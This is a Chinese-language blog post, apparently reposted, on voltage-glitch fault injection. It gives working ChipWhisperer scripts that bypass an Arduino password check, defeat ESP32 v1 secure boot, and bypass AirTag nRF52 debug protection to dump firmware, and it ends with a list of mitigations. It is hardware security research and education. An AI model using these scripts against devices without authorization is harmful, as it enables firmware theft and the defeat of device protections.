【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件

这篇具有很好参考价值的文章主要介绍了【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

在物联网设备的物理安全评估期间,目标之一是利用调试接口或可访问的芯片来研究设备的工作原理。理想的情况是提取完整的文件系统,以找到一种方法来获取对设备的 root 访问权限。然后,可以更轻松地检查正在运行哪些服务,并在需要时对其进行调试,以最终控制目标。在审计开始时,通常会在调试接口上遇到禁止访问其全部功能的保护措施,或者在禁止对其进行任何修改的引导链上遇到保护措施。毛刺是尝试绕过这种保护的一种方法。在这篇博文中,我们将通过几个研究案例深入探讨电压毛刺,以了解其工作原理以及它如何提供帮助。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

介绍

故障注入是一种用于评估设备安全性的技术,包括故意将故障或错误诱发到硬件组件中,以绕过安全功能,例如调试保护或密码身份验证。这些注入应该在特定时刻和受控的持续时间内发生,以损坏内存事务或跳过指令。可以使用以下方法实现:

  • 硬件设备。

  • 软件方法。

  • 硬件和软件相结合的混合方法。

这种攻击在支付卡或内容保护等敏感领域被广泛使用,并且从几年前开始成为一种可访问的利用方法。

让我们考虑以下场景:密码检查是作为返回 or 的语句实现的。在第一种情况下,用户被拒绝,但返回时,您已登录。以下是注入故障时可能发生的示例情况:if 1

  • 可以注入特定值,从而导致身份验证绕过。1

  • 生成随机字节(更有可能)。根据实现的不同,某些保护仍可能被绕过。

  • 可以跳过指令,例如语句本身。if

在非常低的级别上,某些寄存器已损坏,并且设备可以在非标准状态下运行。你现在可以猜到这种技术可能非常有效。过去曾使用故障注入攻击来破坏安全措施:Xbox360 重置故障攻击、STM32 闪存读出,绕过 MediaTek MT8163V 中的安全启动或者最近对大疆无人机的成功故障注入攻击.

在使用其中一种测试用例执行测试用例之前,让我们深入研究不同的故障注入技术:电压毛刺。本文将细分如下:

  • 介绍

    • 时钟毛刺

    • 光故障注入

    • 电磁故障注入

    • 电压毛刺

  • 创建简单的故障

  • 出现故障的日志记录提示

  • 绕过安全启动

  • 研究案例:AirTag

  • 故障注入注意事项

  • 保护您的设备

  • 结论

时钟毛刺

基于时钟的故障注入是一种攻击,可应用于提供外部时钟的设备。通过在正常定时的时钟脉冲周期之间注入时钟毛刺脉冲,在非常合适的时间,可以从算术逻辑单元 (ALU) 使用的原始时钟信号中移除或插入两个合法时钟信号之间的边沿。发生这种情况时,可能会触发意外行为,例如处理器跳过指令。幸运的是,这可能是负责安全检查的人。

来自 ChipWhisperer 存储库的故障注入课程给出了一个很好的示例,说明对 Atmel AVRM ATMega 328P 的攻击:

系统不是从 FLASH 加载每条指令并执行整个执行,而是有一个管道来加快执行过程。这意味着在检索下一条指令时正在解码一条指令,如下图所示:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

但是,如果我们修改时钟,我们可能会遇到系统没有足够的时间来实际执行指令的情况。请考虑以下情况,其中有效地跳过了 Execute #1。在系统有时间实际执行它之前,另一个时钟边沿出现,导致微控制器开始执行下一条指令:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

但是,如果目标使用内部时钟信号,则此方法通常不适用。

光故障注入

光学故障注入领域实际上包含许多不同的技术,从使用X射线的昂贵设备到针对闪存单元上的单个位,到使用相机闪光灯导致随机故障以恢复AES密钥的廉价闪光灯.

在硬件安全评估实验室中,用于安全评估的主要方法是激光故障注入 (LFI)。光脉冲激光器用于物理操作和扭曲数据,导致正在运行的设备出现毛刺.

主要目标是在芯片上找到注射成功机会更大的区域。在执行此类攻击时,必须考虑 X、Y 和 Z 坐标,以找到良好的注入空间位置。

这种技术的标准设备是:

  • 控制装置。

  • 电动工作台。

  • 激光源。

  • 物镜。

然而,这种技术也有一些副作用,例如组装设置成本高昂,并且需要从电路板上移除芯片,这可能会损坏设备。这是由于从芯片背面进行注入,即使已经开发了从正面执行的新技术.

总而言之,光学故障注入技术以高成本提供了高精度和可重复性。

电磁故障注入

电磁 (EM) 发射会影响模拟模块和数字模块,尽管它们的物理特性不同。为了改变时钟的数字模块,由于高压脉冲发生器和带有铁氧体磁芯的线圈(注入探头),使用短暂的电磁脉冲在特定的时钟周期内注入故障。这种注射方法在成本和精度之间提供了良好的权衡。

与激光故障注入不同,电磁故障注入不需要对芯片进行拆焊,只需在二维上即可找到合适的空间位置。此外,与时钟或电压毛刺不同,无需在芯片上焊接或连接电线。

下图显示了 PicoEMP 攻击 Raspberry Pi10:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

EM 故障注入是攻击者的实用技术。它提供了良好的精度,并且比电压或时钟毛刺贵一点,但远低于激光故障注入。此外,没有使用拆焊或其他侵入性方法,因此保留了 SoC 的完整性。可用于此类攻击的方法是在使用网格扫描 CPU 表面时运行无限循环。对一个点进行多次测试,然后将探头移动到另一个点(通常约为 1 毫米远),依此类推,以扫描整个 SoC。

与 EMFI 相关的应用示例是 Riscure 的工作,导致故障注入中断 ESP32 CPU,绕过启动时的安全启动摘要验证.

电压毛刺

电压毛刺的目标是在足够短的时间内精确控制微控制器的电源。虽然这样做时间过长会导致芯片复位,但正确执行此操作会使其进入未定义状态,从而导致朦胧行为。这意味着为故障找到一个很好的宽度,以及良好的时机。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

这是发生电压故障注入时示波器的屏幕截图。我们可以看到,它首先在短时间内拉近GND,然后上升到近14V,然后恢复到原来的状态。这种对功率大小及其持续时间的操纵可能导致指令行为错误,无法执行额外的跳跃,或更改整数的值。

这种方法的主要问题之一是存在一些组件,其目标特别在于将电源保持在正确的电压,例如去耦电容器,并且可能需要对其进行拆焊。将注射装置焊接得尽可能靠近目标也可能有所帮助。

在本文的其余部分,我们将重点介绍这种注射技术。

创建简单的故障

为了对本博文中详述的不同目标执行电压毛刺,使用了 ChipWhisperer Lite.

短路是使用 MOSFET 实现的,MOSFET 是一种晶体管,其主要目标是控制电导率,或者根据施加到其栅极的电压量,在其源极和漏极之间可以流动多少电流。它可以建模为一个简单的电控开关。在这里,它被放置在与电源轨平行的位置,以将VCC短暂地短路到地。

首先,我们在没有任何约束的情况下执行一个简单的故障。为此,使用Arduino Uno并将SoC放在面包板上。这样一来,在没有任何干扰电容器的情况下控制微控制器接地就相当简单了。在其他情况下,为了确保我们的毛刺尽可能有效,我们可能需要移除连接到Vcore和复位线的去耦电容。这可以使用标准烙铁和一些耐心来实现。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

应连接回去的引脚至少是引脚 2、3 (RX / TX)、7 (VCC)、9 和 10 (时钟)。它们处理基本电源和操作,以及与微控制器的串行通信。如果要将代码发送到Arduino(重置),则需要引脚1。示波器用于检查是否发生毛刺,以及其探头是否连接到引脚 7。下面是一个小架构,可以更好地理解连接:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

使用 Arduino SDK 编写并上传到 Uno 上,用 C++ 编写并上传到 Uno 上:

void setup() {
  Serial.begin(115200);
}

void loop() {
  int ctr = 0; 
  for(int i=0; i<2; i++){
    for(int j=0; j<2; j++){
      delay(100);
      Serial.print("i: ");
      Serial.print(i);
      Serial.print(" j:");
      Serial.print(j);
      Serial.print(" ctr:");
      Serial.println(ctr);
      ctr++;
    }
  }
}

这只是一个双循环,其计数器从 0 增加到 3。并从 0 增加到 1。以下是用于故障的 Python 脚本:forij

import chipwhisperer as cw

cw.set_all_log_levels(cw.logging.CRITICAL)

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'

scope = cw.scope()

# We adjust the clock to fit with the ATMega 328p frequency.
scope.clock.clkgen_freq = 8E6 

# Set clock to internal chipwhisperer clock
scope.glitch.clk_src = "clkgen"

#"enable_only" - insert a glitch for an entire clock cycle based on the clock of the CW (here at 8MHz so 0,125 micro seconds)
scope.glitch.output = "enable_only"

# Enable Low power and High power transistors.
scope.io.glitch_lp = True
scope.io.glitch_hp = True
# LP provides a faster response, so sharper glitches. HP can provide better results for targets that have strong power supplies or decoupling capacitors that ca not be removed.

scope.io.vglitch_reset() #it simply sets scope.io.glitch_hp/lp to False, waits delay seconds, then returns to their original settings. In short, reset the glitching module.

# How many times the glitch is repeated
scope.glitch.repeat = 1

# Send the glitch
scope.glitch.manual_trigger()

scope.dis()

发送整个时钟周期的毛刺,并将时钟频率调整为与 ATMega 328p 时钟相同。该参数控制毛刺重复的次数。我们从一个非常低的值开始,然后增加它(我们使用 50 次重复的步长,但较低的值可用于降低损坏设备的风险)以查看 Arduino 的行为情况。repeat

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

在示波器上,我们看到正在发送的毛刺:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

我们尝试将光标放在毛刺的开始和结束时,并将时钟配置为 8MHz,因此时钟周期为 1/(8*10^6) = 1.25*10^-7 s。毛刺重复 500 次,因此 1,25*10^-7 * 500 = 0.0000625 s = 62,5us。测量值为 63,6us,因此关于与测量相关的误差,一切正常。

正如你在这里看到的,Arduino Uno重新启动了,因为故障太强大了。正常行为和设备复位之间有一个非常小的限制,在故障注入中发生不常见的事情。经过一番尝试,我们发现它在重复故障 380 次时开始重新启动。因此,我们重复了从 1 到 380 的故障,并检查了 Arduino 的行为:

for i in range(380):
    scope.io.vglitch_reset(0.5)
    scope.glitch.repeat = i
    scope.glitch.manual_trigger()

我们录制了迷你通信会话并启动了脚本。我们来分析一下它的内容:

i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 1 j:1 ctr:3
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 1 j:1 ctr:3
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0 
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1

如您所见,我们设法跳过了说明。起初,它从 0 到 3,然后到 2,最后不超过 1。我们可以在示波器上看到,在脚本执行过程中,毛刺的重复次数越来越多:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

如果我们想修改一些值,我们可以清楚地看到,我们的故障在这里太强大了,因为我们绕过了一些迭代。我们修改了脚本以发送更窄的故障并减少重复次数。for

import chipwhisperer as cw
[...]
scope.clock.clkgen_freq = 192E6 # Maximum frequency of the internal clock of the CW
[...]
# insert a glitch for a portion of a clock cycle
scope.glitch.output = "glitch_only" 
[...]

gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "repeat"])
gc.set_range("width", 0, 35)
gc.set_range("repeat", 1, 35)
# The steps could be reduced to be more precise
gc.set_global_step(1)

for glitch_setting in gc.glitch_values():
    scope.glitch.width = glitch_setting[0]
    scope.glitch.repeat = glitch_setting[1]
    print(f"{scope.glitch.width} {scope.glitch.repeat}")
    scope.glitch.manual_trigger()
    scope.io.vglitch_reset()
scope.dis()

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

我们已经在脚本执行期间成功修改了值!

i: 0 j:-16777215 ctr:-16777215
[…]
i: -8023668 j:1 ctr:-805831672
i: 1 j:0 ctr:-805831671
i: 1 j:1 ctr:-805831670
[...]

出现故障的日志记录提示

我们之前的故障不是很精确,因为我们只是在随机时间发送故障,并等待异常行为。在以下示例中,在 Arduino Uno 上编写了登录提示脚本。

String PASSWORD = "passw";

bool checkPass(String buffer) {
  for (int i = 0; i < PASSWORD.length(); i++) {
    if (buffer[i] != PASSWORD[i]) {
      return false;
    }
  }
  return true;
}

void setup() {
  Serial.begin(115200);
  Serial.println("Password:");
}

void loop() {
  if (Serial.available() > 0) {
    char pass[PASSWORD.length()];
    Serial.readBytesUntil('\n', pass, PASSWORD.length());
    bool correct = checkPass(pass);
      if (correct) {
      Serial.println("Logged in!");
      Serial.flush(); 
      exit(0);
    } else {
      Serial.println("Incorrect password.");
      Serial.println("Password:");
    }
  }
}

我们还增强了攻击脚本,以检测 Uno 是否需要在故障后重置。

import chipwhisperer as cw
import time
import serial
import os

cw.set_all_log_levels(cw.logging.CRITICAL)

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'

scope = cw.scope()

scope.clock.clkgen_freq = 192E6
scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "glitch_only" 

scope.io.glitch_lp = True
scope.io.glitch_hp = True


gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "repeat"]) 
gc.set_global_step(0.4)
gc.set_range("width", 1, 45)
gc.set_range("repeat", 1, 50)
gc.set_step("repeat", 1)

for glitch_setting in gc.glitch_values():
# Try to connect to the arduino uno using the serial connection:
    try:
        with serial.Serial("/dev/ttyACM1", 115200, timeout=1) as ser:
            scope.glitch.width = glitch_setting[0]
            scope.glitch.repeat = glitch_setting[1]
            print(f"Width: {scope.glitch.width}, repeat: {scope.glitch.repeat}")
# Send the glitch and a wrong password
            scope.glitch.manual_trigger()
            ser.write(b'tatat')
            scope.io.vglitch_reset()
# If the serial connection breaks, use uhubctl to poweroff / poweron the usb port on the USB hub where the Arduino Uno is plugged
    except Exception as e:
        os.system('/usr/sbin/uhubctl -S -p 2 -a cycle > /dev/null 2>&1')
        time.sleep(5)
        pass

scope.dis()

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

在这里,我们不仅绕过了提示,而且在大约 30 分钟后恢复了密码!这可能是由于调用 时出现不当行为所致。println

绕过安全启动

使用故障注入可以击败的安全措施之一是安全启动。为了说明这一点,我们将使用 ESP32 v1(较新版本针对电压故障注入攻击进行了修补)。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

首先,让我们配置一个安全的启动环境。安装 ESP SDK 后,我们设置了一个可刷新的软件引导加载程序,以防以后需要修改13.我们在 examples 文件夹中复制一个 “hello world” 项目,并对其进行一些修改以显示自定义消息:

#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"

void app_main()
 {
     while(1)
     {
     printf("This is a Secure boot.\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

接下来,我们生成一个安全启动签名密钥 ()。对于编译选项,我们使用当正确设置项目时可用的方便。在 下,我们设置以下参数:espsecure.py generate_signing_key --scheme ecdsa256 securebootkey.keymenuconfigidf.py menuconfigSecurity features

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

此外,有必要更改分区表的偏移量,在:Partition Table

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

然后,我们构建引导加载程序:

$ python3 ../tools/idf.py bootloader
Executing action: bootloader
Running ninja in directory esptool/esp-idf/hello_world/build
[...]
Bootloader built and secure digest generated.
Secure boot enabled, so bootloader not flashed automatically.
Burn secure boot key to efuse using:
espefuse.py burn_key secure_boot_v1 esptool/esp-idf/hello_world/build/bootloader/secure-bootloader-key-256.bin
First time flash command is:
esptool.py --chip esp32 --port=(PORT) --baud=(BAUD) --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x1000 esptool/esp-idf/hello_world/build/bootloader/bootloader.bin
==============================================================================
To reflash the bootloader after initial flash:
esptool.py --chip esp32 --port=(PORT) --baud=(BAUD) --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x0 esptool/esp-idf/hello_world/build/bootloader/bootloader-reflash-digest.bin
==============================================================================
[...]
Bootloader build complete.

其余步骤非常简单,只需遵循日志中打印的命令即可:

$ espefuse.py burn_key secure_boot_v1 esptool/esp-idf/hello_world/build/bootloader/secure-bootloader-key-256.bin
$ esptool.py --chip esp32 --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x1000 esptool/esp-idf/hello_world/build/bootloader/bootloader.bin

引导加载程序部分完成,安全密钥在保险丝上烧毁。最后,应用程序闪烁:

$ idf.py flash

Executing action: flash
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting......
Detecting chip type... ESP32
Running ninja in directory esptool/esp-idf/hello_world/build
[...]
Hash of data verified.

Leaving...
Staying in bootloader.
Done

重新启动后:

rst:0x1 (POWERON_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11288
load:0x40078000,len:25304
load:0x40080400,len:4
load:0x40080404,len:3884
entry 0x40080650
I (0) cpu_start: App cpu up.
I (37) boot: ESP-IDF v5.2-dev-1962-g53ff7d43db-dirty 2nd stage bootloader
[...]
I (704) main_task: Calling app_main()
This is a Secure boot.

一切正常。为了弄乱安全启动,我们用这个小 C 代码创建另一个项目:

#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"

void app_main()
 {
     while(1)
     {
     printf("This is not a Secure boot, h4ck3rz!!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

然后,我们强制应用的刷机过程:

$ idf.py flash --force

Executing action: flash
Serial port /dev/ttyUSB0
Connecting.....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting......
Detecting chip type... ESP32
[...]
Leaving...
Hard resetting via RTS pin...
Done

查看启动日志:

rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:7132
ho 0 tail 12 room 4
load:0x40078000,len:15708
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3884
secure boot check fail
ets_main.c 371 
ets Jun  8 2016 00:22:57

启动过程失败,是时候出现故障了!让我们看一下 SoC 的数据表,它是 QFN 6x6:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

这里感兴趣的是 VDD3P3_RTC 和 VDD3P3_CPU,根据文档,它们是:

ESP32 的数字引脚分为三个不同的电源域:

  • VDD3P3_RTC

  • VDD3P3_CPU

  • VDD_SDIO

VDD3P3_RTC也是RTC和CPU的输入电源。VDD3P3_CPU也是CPU的输入电源。

RTC 是一种独立于主处理器运行的低功耗时钟,即使在主处理器处于深度睡眠或断电状态时也可用于跟踪时间。ESP32 的研究已经完成,LimitedResults 就此写了一篇博文15.根据它,为了提供最大的压差电压,需要对VDD3P3_RTC和VDD3P3_CPU进行毛刺。

示波器捕获是通过探测串行输出(青色)上的 SPI 闪存来实现的16和 SoC 的 UART TX 引脚(黄色,底部以绿色解码)用于链接这两个活动:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

下面是两个捕获,第一个捕获在设备成功启动时,第二个捕获在设备失败时捕获。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

我们可以在这些捕获中识别出一个区域,当启动过程成功时,该区域要长得多。如果我们在解码部分稍微放大一点,它对应于底部捕获的字符串和顶部捕获的启动过程的开始。所以这个区域应该被我们的 ChipWhisperer 故障了。secure boot check failed

需要测量 ESP32 上电与执行安全启动的时间间隔,以了解何时出现故障。我们的脚本中将添加一个外部触发器,链接到 ESP32 的重置。然后,我们将所有组件连接在一起,并编写一个脚本来使 ESP32 开发板出现故障:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

import chipwhisperer as cw
import time
import os

[...] 

## Function to reboot the ESP32
def reboot_flush():
    global scope
    scope.io.nrst = False # Pull reset to low
    os.system('/usr/sbin/uhubctl -S -p 2 -a off > /dev/null 2>&1') # Switch off the device
    time.sleep(0.2) # Wait for the capacitors to be discharged
    scope.arm()
    scope.io.nrst = "high_z" # Put reset in high impedance
    os.system('/usr/sbin/uhubctl -S -p 2 -a on > /dev/null 2>&1') # Switch on the device

scope = cw.scope()

scope.clock.clkgen_freq = 100E6
scope.glitch.clk_src = "clkgen" 
#scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" # Glitch based on the trigger
scope.trigger.triggers = "tio4" # The trigger module uses some combination of the scope’s I/O pins to produce a single value, which it uses for edge/level detection or UART triggers. This is connected to the reset line.


gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["repeat", "ext_offset"]) 
gc.set_global_step(1)
gc.set_range("repeat", 1, 30)
gc.set_step("ext_offset", 2300000, 2600000) # number of clock cycles to wait before glitching based on the clock of the CW. These values were measured thanks to the previous traces on the oscilloscope.
[..]


for glitch_setting in gc.glitch_values():
    scope.glitch.repeat = glitch_setting[0]
    scope.glitch.ext_offset = glitch_setting[1]
    reboot_flush()
    scope.io.vglitch_reset()

scope.dis()

经过数小时的重置,我们能够绕过安全启动!

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

研究案例:AirTag

现在我们已经很好地了解了电压毛刺的内部工作以及如何绕过安全措施,让我们尝试另一个目标:AirTag。它是 Apple 开发的跟踪设备,自 2021 年以来一直可用,在发布仅几个月后,安全研究人员就能够提取固件以开始对其进行逆向工程.AirTag 内部的 SoC 是 nRF532,并提供单线调试 (SWD) 接口,允许将 GDB 连接到芯片进行完整调试。但是,SoC 具有称为 APPROTECT 的安全功能,可禁用调试功能。如果启用了 APPROTECT,我们如何转储闪存?有限的结果表明,使用故障注入攻击可以绕过它而且由于所有这些都有很好的文档记录,因此很容易复制。此外,科林·奥弗林(Colin O'Flynn)还进行了研究并发布了AirTag的所有测试点.

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

名字 描述
VCC1型 +3.0V 输入(1 个中的 2 个 - 两者都需要)
VCC2型 +3.0V 输入(2 个中的 2 个 - 两者都需要)
接地
5 VCC2 (连接到 VCC2 输入)
6 VCC1 (连接到 VCC1 输入)
7 接地
28 虚拟核心
35 nRF 球 F1 (SWCLK)
36 nRF 球 G1 (SWDIO)

根据论文,当 Vcore 在启动后开始略有下降时,我们必须出现故障。可以使用示波器和光标检索精确的偏移量:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

因此,我们通过引脚 5 和 6 为 AirTag 供电,等待大约 1.6ms(延迟),通过引脚 28 执行毛刺,并尝试通过引脚 35 和 36 启用 SWD 调试总线。如果失败,请重新启动设备并更改故障设置。如果它有效,我们可以使用 OpenOCD 和 J-Link 执行闪存转储。将启动该命令,并根据其退出状态评估失败或成功。

设置如下所示:

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

让我们运行故障!

import chipwhisperer as cw
import os
import time

[...]

## Function to reboot the AirTag
def reboot_flush():
    global scope
    scope.io.target_pwr = False 
    time.sleep(0.7) # There is a lot of capacitance on the AirTag, so we have to wait a bit for the powering off.
    scope.arm()
    scope.io.target_pwr = True 

[...]

scope.clock.clkgen_freq = 100E6
scope.glitch.clk_src = "clkgen" 
#scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.trigger.triggers = "tio4"

gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["repeat", "ext_offset"]) 
gc.set_global_step(1)
gc.set_range("repeat", 1, 30)
gc.set_step("ext_offset", 100000, 200000) 

[..]


for glitch_setting in gc.glitch_values():
    scope.glitch.repeat = glitch_setting[0]
    scope.glitch.ext_offset = glitch_setting[1]
    reboot_flush()
    exit_status = os.system('openocd -f /usr/share/openocd/scripts/interface/jlink.cfg -f /usr/share/openocd/scripts/target/nrf52.cfg -c "init;dump_image dump.bin 0x0 0x80000;exit"')

    if exit_status == 0:
    	print("Dump done.")
    	break
    scope.io.vglitch_reset()
scope.dis()

我们运行了几次,并在几分钟到几小时内成功利用,具体取决于延迟和脉冲宽度参数。

【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件,硬件安全,网络

故障注入注意事项

故障不是一门精确的科学。湿度、温度、电线长度等参数可能会影响电压毛刺的成功。如果试图复制此处描述的攻击,本研究中使用的参数可能略有不同。

此外,我们的触发器对 ESP32 和 AirTag 并不可靠。当电压较高时,我们使用 Vcc 来触发毛刺,但在电源线完全稳定之前可能会发生扰动,因此延迟的开始可能会在我们想要之前触发。以下是增加成功概率的非详尽项目列表:

  • 在毛刺导轨上使用尽可能短的电缆,或使用直接焊接在其上的MOSFET。

  • 使用FPGA器件分析数据总线(例如SPI)上的消息,以便在精确的时间出现毛刺。

  • 使用具有目标 SoC 的开发板,运行手工制作的固件,并尝试根据触发源、延迟范围和导线长度来表征毛刺参数。

保护您的设备

存在软件和硬件缓解措施来防止故障注入攻击.以下是其中的一些:

  • 软件:

    • 仔细检查:连续比较项目或变量两次。

    • 将布尔比较替换为按位运算。

    • 在敏感操作或可观察事件之前添加随机时间延迟。

    • 在内存中复制数据,或存储相反的数据。

    • 添加校验和。

  • 硬件:

    • BOD“欠压检测器”:其主要功能是监控微控制器的功率,并在电压电平低于最低电平时将内核置于安全状态做出反应.

    • 基于PLL(锁相环)的传感器电路,用于在芯片上无功检测EMI.

    • 使用传感器检测解封装以防止激光故障注入.

结论

电压故障注入可能是对基本芯片的一种非常有效的攻击,并为进一步破坏设备开辟了新的可能性,激光和电磁故障注入等新技术更有效,但也需要更昂贵的工具。然而,由于他们的技能和决心,人们仍然找到了使用更便宜的设备进行故障注入的方法!文章来源地址https://www.toymoban.com/news/detail-778463.html

到了这里,关于【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 没有硬件基础可以学单片机吗?

    在开始前我分享下我的经历,我刚入行时遇到一个好公司和师父,给了我机会,一年时间从3k薪资涨到18k的, 我师父给了一些 电气工程师学习方法和资料,让我不断提升自己,感谢帮助过我的人, 如大家和我一样需要我可以分享资料在评论区扣888或私我888当然可以学习单片

    2024年03月10日
    浏览(46)
  • MCS-51单片机的硬件结构

    按功能可分为8个部件,通过片内单一总线连接起来 控制方式:SFR对各功能部件集中控制 1、微处理器:CPU运算部件 控制部件 2、数据存储器:RAM 数据存储就是暂存一些在系统运行的过程当中所生成的一些临时性的数据,采集数据时临时采集到的一些数据和一些运算的中间结

    2024年02月03日
    浏览(39)
  • 32单片机矩阵键盘-同列组合键不能识别故障-已解决

    这里主要用到的是设置输入输出模式,读取输入值,输出高或者输出低等功能。 2.1 单个按键识别 2.2 组合键识别(一般是两个按键同时按下) 2.3 按键消抖 2.4 防止识别重复按键,不需要识别长短按键。 3.1.1 L信号(P1端口)作输入模式,H信号(P0端口)作输出模式,任意时刻

    2024年02月15日
    浏览(29)
  • 51单片机点灯实验(含程序+仿真+硬件实验)

    一、实验原理 LED发光二极管核心为PN结,单向导电,有阴极和阳极,两极均可以控制,需要亮起来,电流不能过大和过小,过大,烧坏二极管,过小,电光效应弱,发光不明显,引入“限流电路”。为减少I/O引脚的消耗,一般控制一极,有阳极控制法和阴极控制法。阳极控制

    2024年02月04日
    浏览(51)
  • 单片机外部晶振故障后自动切换内部晶振——以STM32为例

    作者 日期 版本 说明 Dog Tao 2023.08.02 V1.0 1. 发布初始版本。 Dog Tao 2023.08.10 V1.1 1. 修改了STM32F103时钟系统的配图位置。 时钟信号是单片机的心跳,对嵌入式系统的长期稳定运行有着至关重要的作用。现代单片机的时钟信号一般都支持外部时钟、外部晶体振荡器、内部RC振荡器等

    2024年02月13日
    浏览(46)
  • 嵌入式硬件与51单片机:演变、挑战与未来

    导言:         嵌入式硬件及其代表之一的51单片机在电子领域扮演着至关重要的角色。本文将深入剖析这一领域的发展历程,包括初期的崛起、面临的挑战、重大公关危机、核心业务、当前研究方向、采用的技术、实际应用场景、未来展望,并提供相关链接,为读者呈现

    2024年01月24日
    浏览(50)
  • 硬件电路设计纯纯小白-1-单片机晶振

    单片机晶振 一、单片机晶振的作用 晶振全名为晶体振荡器,是由具有压电效应的石英晶体片制成,在电气上它可以等效成一个电容和一个电阻并联再串联一个电容的二端网络,通俗易懂的说就是给系统提供时钟信号,然后单片机才能执行程序,晶振提供的时钟频率越高,单

    2023年04月08日
    浏览(37)
  • 基于单片机的智能温湿加湿器设计(源码+硬件+论文)

    🔥 这两年开始毕业设计和毕业答辩的要求和难度不断提升,传统的毕设题目缺少创新和亮点,往往达不到毕业答辩的要求,这两年不断有学弟学妹告诉学长自己做的项目系统达不到老师的要求。 为了大家能够顺利以及最少的精力通过毕设,学长分享优质毕业设计项目,今天

    2024年02月03日
    浏览(56)
  • 单片机:霍尔元件限位的控制策略及硬件电路选型设计

    鱼弦:公众号【红尘灯塔】,CSDN内容合伙人、CSDN新星导师、全栈领域优质创作者 、51CTO(Top红人+专家博主) 、github开源爱好者(go-zero源码二次开发、游戏后端架构 https://github.com/Peakchen) 设计一个类似于图中所示的装置,通过两个霍尔元件限定一根嵌有磁铁的齿条的运动范围

    2024年01月25日
    浏览(44)
  • GD32 单片机 硬件I2C死锁解决方法

